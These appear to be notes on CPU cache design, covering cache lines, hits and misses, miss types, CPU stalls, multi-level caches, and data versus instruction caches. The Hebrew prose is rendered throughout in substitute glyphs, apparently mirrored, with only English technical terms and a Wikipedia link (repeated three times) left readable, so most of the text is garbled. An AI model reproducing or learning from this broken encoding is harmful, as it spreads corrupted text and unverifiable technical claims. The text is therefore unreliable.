.˧˸ˣ˞ ˣˮ˵˸˸˷ 

 

Cache  

 ˞ˣ˟ˬ 

 ˭ˣ˶˩˧ˤRAM  ˭ˣ˶˩˧ˤ ˸ˬˣ˰˪ ˢ˟˶ˢ˟ ˶˵˧ ˸ˣ˧ˮ˶ˡˣˬˢ ˡ˟˰ˬˢ ˸ˣ˟˧˪ ˣˬ˩ ˶˧ˢˬDRAM ˰ˢ .˧˪ˮˣ˧˴ˮ˟ˮˣ˵ˢ ˸ˣ˧ˣ˪

 ˫ˣ˵ˬ˟ ,˭˩˪ .˫˧˟˞˷ˬˢ ˪ˣˢ˧ˮ˟ ˸ˣ˩ˣ˶˩ˢ ˸ˣ˶ˣ˵˸ˢ ˧ˡ˧ ˪˰ ˸ˣ˪˶˦ˣˮˬ ˸ˣ˧ˢ˪ ˸ˣ˦ˣˮ ˶˧ˢˬ ˭ˣ˶˩˧ˤ ˪˷ ˸ˣˢˣ˟ˠˢ

ˢ ˸˞ ˨ˣ˲ˢ˪-SRAM  ˧ˡ˧ ˪˰ ˸ˣ˶˧˷˧ ˪ˢˣˮˬ ˞ˣˢ ,˷ˬ˸˷ˬˢ ˣ˞ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧ˡ˧ ˪˰ ˦˪˷ˮ˷ ˟˞˷ˬ˪

.˸˩˶˰ˬ˪ ˱ˣ˵˷ ˣ˟ ˷ˣˬ˧˷ˢˣ ,ˡ˟˰ˬˢ 

ˢ ,ˢˤ˩ ˢ˶˵ˬ˟-SRAM  ˭ˣ˶˩˧ˤ˩ ˷ˬ˷ˬcache , ˶˷˞ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˫˧ˮˣ˸ˮ ˶ˣ˟˰ ˧ˮˬˤ ˶ˠ˞ˬ˩ ,˶ˬˣ˪˩

 ˫˧ˮˣ˸ˮˢˣ ˡˣ˵ˢ˷ ˢˡ˟ˣ˰ˢ ˸ˣ˩ˤ˟ ˶˷˲˞˸ˬ ˶˟ˡˢ .ˡ˟˰ˬˢ ˧ˡ˧ ˪˰ ˟ˣ˶˵˟ ˷ˣˬ˧˷ ˫ˢ˟ ˢ˷˰˧˷ ˥˧ˮˢ˪ ˶˧˟˯

˸˧˟˥˶ˬˣ ˸˧ˮˬˤ ˸ˣ˧ˬˣ˵ˬ ˭˧ˠ˲ˢ˪ ˫˧˦ˣˮ ˢˮ˩ˣ˸ ˪˷: 

¶ :˸˧˟˥˶ˬ ˸ˣ˧ˬˣ˵ˬ ˫˧ˬˣ˵˧ˬ˪ ˢ˷˧ˠ˪ ˫ˠ ˪˧˟ˣ˸ ˫˧ˣ˯ˬ ˫ˣ˵˧ˬ˪ ˢ˷˧ˠ˷ ˢˢˣ˟ˠ ˸ˣ˶˧˟˯ ˷˧  .˫˧˩ˣˬ˯

˪ ˢ˷˧ˠ˟ ˣˬ˩ ,˭ˣ˶˩˧ˤ ˶ˣˤ˞ ˣ˸ˣ˞˟ ˫˧ˡˡˣ˵ˬ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬ˪ ˢ˷˧ˠ ˣ˞ ˸ˣ˲˧˴˶ ˸ˣ˞˶ˣˢ ˸˞˧˶˵ ,ˢˬˠˣˡ˪-

stack.˭ˣ˶˩˧ˤ˟ ˫˧ˮ˦˵ ˫˧˶ˣˤ˞˪ ˸˪˟ˠˣˬ ˟ˣ˶˪ ˞˧ˢ , 

¶ :˸˧ˮˬˤ ˸ˣ˧ˬˣ˵ˬ  ,ˢˬˠˣˡ˪ .˶˴˵ ˭ˬˤ ˵˶˲ ˨ˣ˸˟ ˢˬ˴˰ ˪˰ ˶ˣˤ˥˪ ˢ˦ˣˮ ˫˧ˣ˯ˬ ˭ˣ˶˩˧ˤ ˶ˣˤ˞˪ ˢ˷˧ˠ

˶ˤˣ˥ ˸ˣ˷˧ˠ ˸ˣ˰˴˟ˬ˷ ˡˣ˵ ˸ˣ˞˪ˣ˪ ˞˶˵˧ˢ˪ ˸ˣ˪ˣ˩˧ ˸ˣ˧˴˵ˮˣ˲ ,˱˯ˣˮ˟ .˭ˣ˶˩˧ˤ ˶ˣˤ˞ ˣ˸ˣ˞˪ ˸ˣˮ˷ˮˣ ˸ˣ

.˭ˣ˶˩˧ˤ˟ ˸ˣˬ˧ˣ˯ˬ ˸ˣ˟ˣ˸˩˟ ˶ˤˣ˥ ˷ˣˬ˧˷˪ ˪˧˟ˣˬ˷ ˢˬ ,˫˧ˬ˰˲ ˶˲˯ˬ 

 ˭ˣ˶˩˧ˤ˪ ˢ˷˧ˠ ,˭˩˪RAM  .˸˧ˮˬˤˣ ˸˧˟˥˶ˬ ˸ˣ˧ˬˣ˵ˬ ˪˷ ˫˧˯ˣ˲ˡ ˢˠ˧˴ˬ ˞˪˞ ,˸˧˞˶˵˞ ˢˮ˧˞ ˢ˟˧˪ˢ ˧ˡ˧ ˪˰

˪ ˫˧˶˷˲˞ˬ ˣ˪˞ ˫˧ˮ˧˧˲˞ˬ-cache  ˢ˪˧˰˧ ˢ˶ˣ˴˟ ˪ˣ˰˲˪.˸˩˶˰ˬˢ ˧˰ˣ˴˧˟ ˸˞ ˶˲˷˪ˣ ˡˣ˞ˬ 

ˬ ˵˪˥ ˪˰ ˵˶ ˰˧˲˷ˬ ˧ˣˮ˧˷ˢ ˨˞ ,˭ˣ˶˩˧ˤ˟ ˫˧ˮˣ˸ˮ ˢˮ˷ˬ ˡ˟˰ˬ ˶˷˞˩-cache line  ˫˧˪˧ˬ ˶˲˯ˬ ˪˷ ˱˴˶)

˟ ˡ˥˧ ˸ˣˮ˯˥ˣ˞ˬˢ ˭ˣ˶˩˧ˤ˟-cacheˢ ˸˞ ˭ˣ˰˦˪ ˫ˡˣ˵ ˟˧˧˥ ˞ˣˢ ,(-cache line  ˧ˡ˩ .ˣ˪˷ ˭ˣ˶˩˧ˤ˪ ˢ˞˪ˬˢ

˪ ˫˧˷ˡ˥ ˫˧ˮˣ˸ˮ ˯˧ˮ˩ˢ˪-cacheˣˮ˲˪ ˷˶ˡˮ ˪˪˩ ˨˶ˡ˟ ,.˫ˣ˵ˬ ˸ 
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ˢ ˸˞ ˪ˢˮ˪ ˫˧˧˷˲ˣ˥ ˫˧ˡ˟˰ˬˢ-cache- ˫˞˸ˢ˟ ˫˧˶˞˷ˮ ˫ˢ ˡˣ˰ ˪˩ ,˫˸˰ˡ ˪ˣ˵˧˷ ˧˲˪ ˫ˢ˪˷ ˫˧ ˪ˡˣˬ˪

˭ˣ˶˩˧ˤˢ  ˸ˣ˪˧˰˲ ˷˧ ˭ˢ˟ ˸ˣ˲ˣ˵˸ ˪˴ˮ˧ ˡ˟˰ˬ˷ ˪˟ˣ˵ˬ ˢˤ ,ˢˬˠˣˡ˪ .ˡ˟˰ˬˢ ˸˶ˣ˦˵˦˧˩˶˞ ˶ˣ˟˰ ˶ˡˠˣˢ˷

ˢ ˪˰ ˸ˣ˪˧˰˲ ˞˪˪ ˣ˞ ˢ˦˰ˣˬ-bus  ˫ˣˤ˧ ˭˲ˣ˞˟ ˟ˣ˸˩˪ ˧ˡ˩ ,˭ˣ˶˩˧ˤˢ ˪˷cache lines  ˣ˶˟˰˷ ˣ˪˞˩) ˸ˣ˩˪˩ˣ˪ˬ

.˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢ˶ˤ˥˟ (˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˣ˟˸˩ˮ ˞˪ ˭˧˧ˡ˰ˣ ˫˧˧ˣˮ˧˷ 

 ˸˧˪˪˩ ˢ˶˧˵˯ 

 ˣ˸ˣ˞ˬ ˫˧ˮˣ˸ˮˢ ˫˞ ˵ˡˣ˟ ˪˩ ˫ˡˣ˵ ˞ˣˢ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ˪ ˟ˣ˸˩˪ ˣ˞ ˞ˣ˶˵˪ ˢ˯ˮˬ ˡ˟˰ˬˢ ˶˷˞˩

˟ ˫˧ˮ˯˥ˣ˞ˬ ˶˟˩ ˫ˣ˵˧ˬ-cache˩˞ ˫˧ˮˣ˸ˮˢ ˫˞ .˟ ˫˧˞˴ˬˮ ˭-cache ˣ˞ ˢ˞˧˶˵ˢ ˸˪ˣ˰˲ ˸˞ ˰˴˟ˬ ˡ˟˰ˬˢ ,

ˢˬ ˸ˣ˶˧˷˧ ˢ˟˧˸˩ˢ-cache ˶˸ˣ˧ ˢ˶˧ˢˬ ˢ˷˧ˠ ˶˷˲˞ˬ ˢˤ ˨˧˪ˢ˸ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˢ˟˶ˢ˟ ˶˧ˢˬ ˞ˣˢ˷ ,

.˫˧˰ˣ˴˧˟˟ ˧˸ˣ˰ˬ˷ˬ ˶ˣ˲˧˷ˣ ˫˧ˮˣ˸ˮ˪ 

 ˸ˣˬˣ˷˶cache (Cache entries)  

˪ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭˧˟ ˫˧˶˟˰ˣˬ ˫˧ˮˣ˸ˮ-cache  ˫˧˞˶˵ˮˢ ˰ˣ˟˵ ˪ˡˣˠ˟ ˫˧˵ˣ˪˟ ˸˶ˣ˴˟cache lines  ˣ˞cache 

blocks ˶˷˞˩ .cache line ˢ ˪˞ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˸˶˟˰ˣˬ-cache ˸˶˴ˣˮ ,cache entryˢ .-entry  ˸˪˪ˣ˩

ˮˢ ˸˞.ˣ˥˵˪ˮ ˫ˢ ˣˮˬˬ˷ ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ ˡ˴˪ ,˭ˣ˶˩˧ˤˢˬ ˣ˵˸˰ˣˢ˷ ˫˧ˮˣ˸ 

 ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ ˫˞ ˵ˡˣ˟ ˢ˪˧˥˸ ˞ˣˢ ,˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ˪ ˢ˟˧˸˩ ˣ˞ ˢ˞˧˶˵ ˪˷ ˢ˪ˣ˰˲ ˰˴˟ˬ ˡ˟˰ˬˢ ˶˷˞˩

˟ ˶˟˩ ˞˴ˬˮ ˢˤˢ-cacheˢ .-cache ˢ ˪˩ ˸˞ ˵ˡˣ˟-cache lines  .˸˷˵ˣ˟ˬˢ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˢ˪ ˸ˣ˧ˣ˷˰˷

˟ ˸ˬ˧˧˵ ˸˟ˣ˸˩ˢ ˫˞-cache ˞˶˵ˮ˷ ˟˴ˬ ˶˴ˣˮ ,˫˷ ˫˧˞˴ˬˮ ˫˧ˮˣ˸ˮˢ ˫˞ ˶ˬˣ˪˩ ,cache hit ,ˢˤ˩ ˟˴ˬ˟ .

˟˷ ˫˧ˮˣ˸ˮ˪ ˸ˣ˶˧˷˧ ˷ˠ˧ˮ ˡ˟˰ˬˢ-cache .ˢ˟˶ ˸ˣ˶˧ˢˬ˟ ˢ˟˧˸˩ˢ ˣ˞ ˢ˞˧˶˵ˢ ˸˞ ˰˴˟ˬˣ 

˟ ˞˴ˬˮ ˞˪ ˷˵ˣ˟ˬˢ ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ ˫˞ ,˸˞ˤ ˸ˬˣ˰˪-cache˪˷ ˟˴ˬ ˷˥˶˸ˬ ,cache miss ,ˢˤ˩ ˢ˶˵ˬ˟ .

-scache  ˢ˴˵ˬcache entry  ˢ˷˵˟ˢ ,˭˩ˬ ˶˥˞˪ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˫˧˷ˣ˶ˡˢ ˫˧ˮˣ˸ˮˢ ˸˞ ˵˧˸˰ˬˣ ˢ˷ˡ˥

ˢ ˨ˣ˸ˬ ˸˞˪ˬ˸ˬ ˡ˟˰ˬˢ ˪˷-cache  ˢ˶˵ˬ˟ ,˶˸ˣ˧ ˢ˶˧ˢˬ ˢ˧ˢ˸ ˭˩ˬ ˶˥˞˪ ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ˷ ˨˩ ,ˣˬ˴˰

.˟ˣ˷ ˫ˢ˧˪˞ ˸˷ˠ˪ ˨˶ˣ˴ ˢ˧ˢ˧˷ 

Cache Miss  

-˟cache miss ˢˬ ˫˧ˮˣ˸ˮ ˸˯˧˲ ˟ˣ˸˩˪ ˣ˞ ˞ˣ˶˵˪ ˪˷˩ˮ˷ ˭ˣ˧˯˧ˮ ˷˥˶˸ˬ-cache ˢ˷˧ˠ˪ ˪˧˟ˣˬ˷ ˢˬ ,

˟ ˭˧˧˲ˣ˞ˬ˷ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪-latency  ˪˷ ˫˧˧˶˵˧˰ ˫˧ˠˣ˯ ˢ˷ˣ˪˷ ˫ˮ˷˧ .ˢ˟˶ˢ˟ ˢˣ˟ˠcache miss: 

мΦ :˸ˣ˞˶ˣˢ ˸˞˧˶˵ ˯ˣ˲˯˲ ˢˬ ˸ˣ˞˶ˣˢ ˸˞˧˶˵ ˸˴ˬ˥ˢ˟ ˶˟ˣˡˬ ˶˷˞˩-cache˪˪˩ ˨˶ˡ˟ ˶˟ˣˡˬ , 

ˢ ˣ˞ ,ˡ˟˰ˬˢ˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ .˧˸ˣ˰ˬ˷ˬ ˟ˣ˩˧˰˟-thread ) ˭˧˸ˬˢ˪ ˨˧˶˴ ,˰˴˟ˬˢstall ˡ˰ (

 ˪˩ ˭˩˷ ,ˡ˟˰ˬˢ ˡˣ˵˲˸˟ ˫˧˧˸ˣ˰ˬ˷ˬ ˫˧˟ˣ˩˧˰˪ ˪˧˟ˣˢ˪ ˪ˣ˩˧ ˢˤ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˭˰˦˧˸ ˢ˞˶ˣˢˢ˷

˟ ˢˮ˧ˬˤ ˢˮ˧˞˷ ˢ˞˶ˣˢ-cache .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˢˬ˴˰ ˸˞ ˞˧˟ˢ˪ ˢ˩˧˶˴ 

https://en.wikipedia.org/wiki/Memory_model_%28programming%29
https://en.wikipedia.org/wiki/Memory_model_%28programming%29
https://en.wikipedia.org/wiki/Memory_model_%28programming%29
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нΦ :˫˧ˮˣ˸ˮ ˸˞˧˶˵ ˯ˣ˲˯˲ ˶˸ˬ ˶˷˞˩ ˷˥cache miss ˢˬ ˫˧ˮˣ˸ˮ ˸˞˧˶˵˟-cache ˟ˣ˶˪ ˞ˣˢ ˟ˣ˩˧˰ˢ ,

 ˡ˰ ˰ˣ˴˧˟˟ ˨˧˷ˬˢ˪ˣ ˫˧˶˯˥ˢ ˫˧ˮˣ˸ˮ˟ ˸ˣ˧ˣ˪˸ ˭ˮ˧˞˷ ˸ˣ˞˶ˣˢ ˞˧˴ˣˢ˪ ˭˸˧ˮ ,ˢˤ ˢ˶˵ˬ˟ .˶˸ˣ˧ ˭˦˵

 ˸ˮ˧˰˦˪ ˭˧˸ˬˢ˪ ˸ˣ˪ˣ˩˧ ˫˧˶˯˥ˢ ˫˧ˮˣ˸ˮ˟ ˸ˣ˧ˣ˪˸ˢ ˸ˣ˞˶ˣˢˢ ,˨˩ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˣ˰˧ˠ˧ ˫˧ˮˣ˸ˮˢ˷

.˫˸˰ˠˢ ˫˰ ˷ˡ˥˸ˢ˪ˣ ˫˧ˮˣ˸ˮˢ 

оΦ :˫˧ˮˣ˸ˮ ˸˟˧˸˩ ˯ˣ˲˯˲ ˟ ˫˧ˮˣ˸ˮ ˸˟˧˸˩ ˧˯ˣ˲˯˲-cache  .ˢ˷ˣ˪˷ˢ ˭˧˟ˬ ˶˸ˣ˧˟ ˶˴˵ˢ ˟ˣ˩˧˰˪ ˫˧ˬ˶ˣˠ

˪ ˢ˟˧˸˩ˢ ˸˞ ˯˧ˮ˩ˢ˪ ˭˸˧ˮ˷ ˞˧ˢ ,˨˩˪ ˢ˟˧˯ˢ-store buffer ˰ˣ˴˧˟ ˪˰ ˸ˣ˟˶ ˸ˣ˪˟ˠˬ ˪˪˩ ˨˶ˡ˟ ˭˧˞ˣ ,

˟ˢ ˸ˣ˞˶ˣˢˢ ˢ˟˧˸˩ˢ ˰˴˟˸˸ ˶˸ˣ˧ ˶˥ˣ˞ˬˣ ,˞˪ˬ˸˧ ˶ˣ˸ˢ˷ ˡ˰ ˡˣ˟˰˪ ˨˧˷ˬˢ˪ ˪ˣ˩˧ ˡ˟˰ˬˢ .˸ˣ˞

.˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˟ ˫˧ˮˣ˸ˮ˪ 

 ˧˰ˣ˴˧˟Cache  

ˢ ˧˰ˣ˴˧˟-cache  ˫ˣ˷ˬ ,ˡˣ˞ˬ ˟ˣ˷˥ ˫˶ˣˠ ˫ˢ ˭˲ˣ˞˟ ˪ˡˠ ˡ˟˰ˬˢ ˸ˣ˶˧ˢˬ˪ ˭ˣ˶˩˧ˤˢ ˸ˣ˶˧ˢˬ ˭˧˟ ˶˰˲ˢ˷

˧˩˧˶˰ˬˢ ˧˰ˣ˴˧˟ ˪˰ ˫˧˰˧˲˷ˬˢ ˫˧˧ˤ˩˶ˬ ˫˧ˬ˶ˣˠ ˧ˮ˷ .-cache ˢ ˶ˣ˰˧˷ ˫ˢ-cache hits ˢ ˶ˣ˰˧˷ˣ-cache 

missesˢ ˸˸˥˲ˢ .-cache misses  ˪˩ ˭˩˷ ,˫˧˪˪ˣ˩ˢ ˫˧˰ˣ˴˧˟ˢ ˶ˣ˲˧˷˪ ˸˧˦˧˶˵ ˞˧ˢmiss  ˨˧˶˞ˢ˪ ˪ˣ˪˰

.˸˧ˮ˩ˣ˸ˢ ˧˰ˣ˴˧˟ ˪˰ ˰˧˲˷ˢ˪ˣ ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ ˭ˬˤ ˸˞ 

CPU Stalls  

 ˞˧˟ˢ˪ ˨ˣ˶˞ ˭ˬˤ ˷˶ˡˮ ˶˷˞˩cache line  ˢ˩˥ˬ ˞ˣˢ ˣ˟˷ ˟˴ˬ˟ ˪˵˸˧ˢ˪ ˧ˣ˷˰ ˡ˟˰ˬˢ ,˭ˣ˶˩˧ˤˢˬ ˸˥˞

 ˪˟˵˪ ˧ˡ˩ ˨ˣ˶˞ ˭ˬˤ˪ ˞˶˵ˮ ˢˤ ˟˴ˬ .˫˧ˮˣ˸ˮˢ ˸˞stall ˭˧˟ ˶˰˲ˢ ,˶˸ˣ˧ ˫˧˶˧ˢˬ˪ ˫˧˩˲ˣˢ ˫˧ˡ˟˰ˬ ˶˷˞˩ .

 ˨˪ˢˬ˟ ˢˮ˸ˬˢ ˭ˬˤ ˶˸ˣ˧˪ ˪˧˟ˣˬ˷ ˢˬ ,˪ˡˠ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˡ˟˰ˬˢ ˸ˣ˶˧ˢˬcache miss ˫˧ˡ˟˰ˬ .

 ˞˧˟ˢ˪ ˥˵ˣ˪˷ ˭ˬˤ˟ ˸ˣ˞˶ˣˢ ˸ˣ˞ˬ ˰˴˟˪ ˫˧˪ˣ˩˧ ˫˧˧ˮ˶ˡˣˬcache line .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˸˥˞ 

ˣ˧˰˟ ˫˰ ˡˡˣˬ˸ˢ˪ ˧ˡ˩ ˸ˣˮˣ˶˸˲ˢ ˡ˥˞ .˫˧ˮˣ˷ ˫˧˥ˣ˸˧˲ ˣ˷˰ˮ ,˟ˣ˩˧˰ ˭ˬˤ˟ ˡˣ˟˞ˢ ˭ˬˤˢ ˸˞ ˸˧˥˲ˢ˪ˣ ˣ˪˞ ˸

 ˰ˣ˴˧˟ ˞ˣˢout of order. 

Multi -Level Caches  

ˢ ˧˰ˣ˴˧˟-cache ˢ ˸˧˧ˢ˷ˢ ˭ˬˤ ˭˧˟ ˢ˶˷˲ ˫ˢ-cache ˢ ˟˴˵ˣ-hit˪ .-cache  ˷˧ ˶˸ˣ˧ ˪ˣˡˠˢ˧˧˦ˮ  ˵˲˯˪

 ˧˶ˣ˰˧˷hits ˷ ˡˣ˰˟ ,ˢ˷˧ˠ ˭ˬˤ ˶˸ˣ˧ ˷˶ˣˡ ˨˞ ,˶˸ˣ˧ ˫˧˟ˣ˦-cache  ˪˧˰˧ ˸ˣ˥˲ ˨˞ ,˶˸ˣ˧ ˶˧ˢˬ ˞ˣˢ ˶˸ˣ˧ ˭˦˵

 ˶ˣ˰˧˷˟hits ˪˷ ˸ˣˬ˶ ˶˲˯ˬ ˪˷ ˢˮ˟ˬ˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ ˫˧˟˶ ˫˧˟˷˥ˬ ,ˣˤˢ ˢ˶˷˲ˢ ˸˞ ˪ˢˮ˪ ˧ˡ˩ .

cache. 

ˢ ,˪˪˩ ˨˶ˡ˟-cache-˲˯ˬ˪ ˫˧˵˪ˣ˥ˬ ˫˧) ˢˮˣ˷˞˶ˢ ˢˬ˶ˢ˷˩ ˸ˣˬ˶ ˶L1 ,˶˸ˣ˧˟ ˢ˶˧ˢˬˢˣ ˢˮ˦˵ˢ (

 ˢˬ˶ˢ ˫˧ˬ˰˲ ˢ˟˶ˢ .˶˸ˣ˧ ˸ˣ˧˦˧˞ˣ ˶˸ˣ˧ ˸ˣ˪ˣˡˠ ˸ˣ˶˥˞ ˸ˣˬ˶ ˷˧ ˢ˧˶˥˞ .ˡ˟˰ˬ˪ ˟ˣ˶˵ ˧˩ˢ ˸˞˴ˬˮ˷

ˢ ˪˷ ˢˮˣ˶˥˞ˢ-cache  ,˸ˣ˟˧˪ ˶˲˯ˬ˪ ˸˲˸ˣ˷ˬ˸˶˩ˣˬˣ  ˟ˣ˶˪˫˷˟ LLC. 

https://en.wikipedia.org/wiki/Write_buffer
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 ˧ˠˣ˯ ˧ˣ˟˧˶cache- ˫˧ 

 ˸ˣ˥˲˪ ˷˧ ˫˧˧ˮ˶ˡˣˬ ˫˧˟˷˥ˬ˟˧ˮ˷  ˪˷ ˫˧˧˞ˬ˴˰ ˫˧ˠˣ˯cache-:˫˧ 

¶ Data Cache: ˷ˬ˷ˬ ˢ˴˞ˢ˪ ˪˷ ˸ˣ˪ˣ˰˲ ˢ˞˧˶˵ ˢ˟˧˸˩ˣ ˪˷ ˫˧ˮˣ˸ˮ .ˡˣˠ˧ˮ˟ ˪-instruction-cache ,

ˡ˵ˣˬˬˢ ˸ˣ˞˶ˣˢ˟ ,-sdata-cache ˡ˰ˣ˧ˬ ˫˧ˮˣ˸ˮ˪ ˡ˟˰ˬˢ˷ ˵ˣ˵ˤ ˫ˢ˪ ˨˶ˣ˴˪ ˰ˣ˴˧˟ ˫˧˟ˣ˷˧˥ .˟ˣ˶˪ ,

data-cache ˧ˣˮ˟ ˢ˧˩˶˶˧ˢ˩ ˸˟ˣ˶ˬ ˸ˣˬ˶. 

¶ Instruction Cache: ˡ˟˰ˬˢ ˞˪ ˭˯˥˞ˬ ˵˶ ˫˧ˮˣ˸ˮ ˟-cache ,˞˪˞ ˫ˠ ˸˞ ˸ˣ˞˶ˣˢˢ ˭˸ˣ˞˷ ˞ˣˢ 

˰˴˟ˬ .˸ˣ˶ˬ˪ ˸˞ˤ ,-sinstruction cache ˟˷˥ˮ ˸ˣ˥˲˪ ˧˸˧˧˰˟ ˢ˞ˣˣ˷ˢ˟ ˪-data cache )˭ˣ˶˩˧ˤ s-

cache ˫˧ˮˣ˸ˮ˪.( 

ˢ˟˧˯ˢ ˨˩˪ ˞˧ˢ ˸ˬ˧˶ˤ˷ ˸ˣ˞˶ˣˢˢ ˸˧ˮ˩ˣ˸˟ ˢ˧ˣ˲˴ ˶˸ˣ˧ ˧˯ˣ˲ˡˬ ˢ˷˧ˠˢ ˫˧ˮˣ˸ˮ˪ .˫˧ˡ˟˰ˬˢ ˫˧˧ˮ˶ˡˣˬˢ 

˫˧ˡ˧ˣ˴ˬ ˸ˣ˪ˣ˩˧˟ ˸ˣˬˡ˵˸ˬ ˧ˣˢ˧ˤ˪ ˫˧˯ˣ˲ˡ ,ˢˬ ˶˷˲˞ˬ˷ ˫ˢ˪ ˰˴˟˪ prefetching ˢ˶ˣ˴˟ ˢ˪˧˰˧ ˶˸ˣ˧ .

˱˯ˣˮ˟ ,ˡˣ˵˪ ˷˧ ˸ˣ˧ˬˣ˵ˬ ˸˧˟˥˶ˬ ˸˧ˮˬˤˣ ˢ˵ˤ˥ ˸˧˯˥˧ .˶ˬˣ˪˩ ,˶˧˟˯ ˥˧ˮˢ˪ ˸ˣ˞˶ˣˢˢ˷ ˸ˣ˞˴ˬˮˢ ˨ˣˬ˯˟ 

ˣˤ ˣˤ˪ ˭ˣ˶˩˧ˤ˟ ˣ˰˴ˣ˟˧ ˱˴˶˟ ,ˢ˧ˢ˸˷ˣ ˢ˶ˤ˥ ˪˰ ˭˸ˣ˞ ˸ˣ˞˶ˣˢ ˨ˣ˸˟ ˧˵˶˲ ˭ˬˤ ˫˧˶˴˵. 

˟ˣ˩˧˰ ˸ˮ˧˰˦˟ ˢ˞˶ˣˢˢ ˢ˞˟ˢ ˭ˣ˶˩˧ˤˢˬ ˰ˠˣ˲ ˸˧˸ˣ˰ˬ˷ˬ ˸ˣ˶˧ˢˬ˟ ˨˧˪ˢ˸ˢ s-pipeline ˪˷ ˰ˣ˴˧˟ 

˸ˣ˞˶ˣˢˢ. 

˧ˡ˟˰ˬ˟ CISC ,ˡ˥ˣ˧ˬ˟ ,˟˪˷ ˥ˣˮ˰˲ˢ ˪ˣ˩˧ ˸˥˵˪ ˭ˬˤ ˟˶ ˶˸ˣ˧ ˟˵˰ ˸ˣ˟˩˶ˣˬ ˸ˣ˞˶ˣˢˢ. 

˫˧ˮ˷˟ ˸ˣˮˣ˶˥˞ˢ ,˧ˡ˟˰ˬ x86 x-x86-64 ˫˧ˬˡ˵˸ˬ ,ˣˬ˩ ˢ˪˞ ˪˷ ˪˦ˮ˧˞ ,˫ˮ˧˞ ˫˧ˮ˯˥˞ˬ ˟-L1i ˸˞ ˱˴˶ 

˫˧˦˧˧˟ˢ ˧ˬ˪ˣˠˢ ˪˷ ˸ˣ˞˶ˣˢˢ .˫ˣ˵ˬ˟ ˸˞ˤ ,˫ˢ ˫˧˶ˬˣ˷ ˸˞ ˸ˣ˞˶ˣˢˢ ˶˥˞˪ ˭ˢ˷ ˶˟˩ ˸ˣ˥ˮ˰ˣ˲ˬ )˟-intel 

˸ˣ˞˶ˣˢˢ ˸ˣ˥ˮ˰ˣ˲ˬˢ ˸ˣ˶ˬ˷ˮ ˫ˣ˵ˬ˟ ˞˶˵ˮˢ µop cache x˞ Decoded Stream Buffer .(ˢˤ ˶˷˲˞ˬ 

˳˧˞ˢ˪ ˸˞ ˰ˣ˴˧˟ ˸ˣ˞˶ˣˢˢ ˰ˣˮˬ˪ˣ ˫˧˟ˣ˩˧˰ ˫˧˰˟ˣˮˢ ˨˶ˣ˴ˬ ˥ˮ˰˲˪ ˭˸ˣ˞ ˪˩˟ ˫˰˲ ˷ˡ˥ˬ. 

˪˥ˢ ˬ-L2 ˢ˪˰ˬˣ ,˭ˣ˶˩˧ˤ s-cache ˫˧ˡ˟˰ˬ˟ ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˡ˥ˣ˞ˬ ,˶ˬˣ˪˩ ,˞ˣˢ ˪˧˩ˬ ˫ˠ ˡˣ˵ ˫ˠˣ ˫˧ˮˣ˸ˮ .˫˰ 

˸˞ˤ ,ˡˣˠ˧ˮ˟ ˪-L1i ,˭˞˩ ˸ˣ˞˶ˣˢˢ ˸ˣˮ˯˥ˣ˞ˬ ˭˸˶ˣ˴˸˟ ˸˧ˬ˪ˣˠˢ ˧˲˴˶˩ ˫˧˸˟ ˫˶˦˷ ˣ˥ˮ˰ˣ˲. 

-sInstruction Cache ˣˮ˧˞ ˥˶˩ˢ˟ ˧˦ˮ˶ˢˣ˵ ˫˰ ˭ˣ˶˩˧ˤ ˫˧ˮˣ˸ˮˢ :˪˷ˬ˪ ,˸˶ˣ˦˵˦˧˩˶˞˟ Arm ˸˩˶˰ˬ 

˫˧˟˷˥ˬ ˢˮ˧˞ ˸˟˧˧˥ˬ ˸˞ ˢ˶ˬˣ˥ˢ ˶ˣˬ˷˪ ˪˰ ˸ˣ˧˦ˮ˶ˢˣ˵ ˭˧˟ cache-˫˧ ˪˷ ˸ˣ˞˶ˣˢˢ ˭˧˟˪ ˭ˣ˶˩˧ˤ 

˫˧ˮˣ˸ˮˢ .˫ˣ˵ˬ˟ ˸˞ˤ ,˪˰ ˫˧˸ˮ˩˸ˬˢ ˷ˬ˸˷ˢ˪ ˸ˣ˞˶ˣˢ˟ ˢ˵ˣˤ˥˸ ˸ˣ˷˶ˣ˲ˬ ˪˷ s-cache ˧ˡ˩ ˥˧˦˟ˢ˪ 

˭ˣ˶˩ˮ˯ ˸ˣˮ˩ˡ˰˸ˢˣ ˢˮˣ˩ˮ. 

˫˧˶˵ˬ˟ ˫˧˟˶ ,˪ˣ˵ˣ˦ˣ˶˲ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪˷ s-Instruction Cache ˦ˣ˷˲ ˢ˟˶ˢ ˶˸ˣ˧ ˢ˞ˣˣ˷ˢ˟ ˧˪ˣ˵ˣ˦ˣ˶˲˪ 

